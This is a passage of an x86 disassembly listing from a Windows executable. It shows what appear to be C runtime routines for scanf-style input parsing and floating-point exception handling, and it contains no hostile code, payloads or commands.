loc_420B0C:				; CODE XREF: sub_420510+59Bj
		cmp	byte ptr [edi],	0
		jz	loc_420F16
		cmp	[ebp+var_3C], 7Bh
		jnz	short loc_420B1E
		mov	[ebp+arg_4], edi

loc_420B1E:				; CODE XREF: sub_420510+609j
		mov	edi, [ebp+arg_0]
		mov	esi, [ebp+var_2C]
		dec	[ebp+var_4]
		push	edi
		push	[ebp+var_14]
		mov	[ebp+var_30], esi
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420B35:				; CODE XREF: sub_420510+6BCj
					; sub_420510+6C4j
		cmp	[ebp+var_20], 0
		jz	short loc_420B49
		mov	eax, [ebp+var_C]
		dec	[ebp+var_C]
		test	eax, eax
		jz	loc_420BE5

loc_420B49:				; CODE XREF: sub_420510+629j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		mov	[ebp+var_14], eax
		jz	short loc_420BD9
		mov	ecx, eax
		push	1
		and	ecx, 7
		pop	edx
		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C2F8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al

loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43C504
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------

loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi

loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------

loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------

loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1

loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------

loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58

loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------

loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax

loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx

loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F

loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43C504, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------

loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------

loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43C504, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------

loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------

loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280

loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx

loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F

loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------

loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------

loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D

loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43C504, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------

loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 4

loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------

loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43C504, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------

loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C2F8
		mov	al, [eax+ebx*2]
		and	eax, 80h

loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx

loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D

loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------

loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx

loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi

loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0

loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]

loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------

loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di

loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------

loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C2F8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]

loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax

loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------

loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx

loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------

loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h

loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D

loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------

loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]

loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43C504, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------

loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C2F8
		mov	al, [eax+esi*2]
		and	eax, 4

loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7

loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------

loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi

loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43CC70, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB278, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h

loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43CC70, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------

loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx

loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2

loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4

loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8

loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h

loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h

loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8

loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4

loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi

loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx

loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------

loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx

loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------

loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh

loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------

loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------

loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8

loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx

loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 2660372h
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh

loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh

loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h

loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh

loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh

loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------

loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4

loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------

loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx

loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------

loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------

loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3

loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx

loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
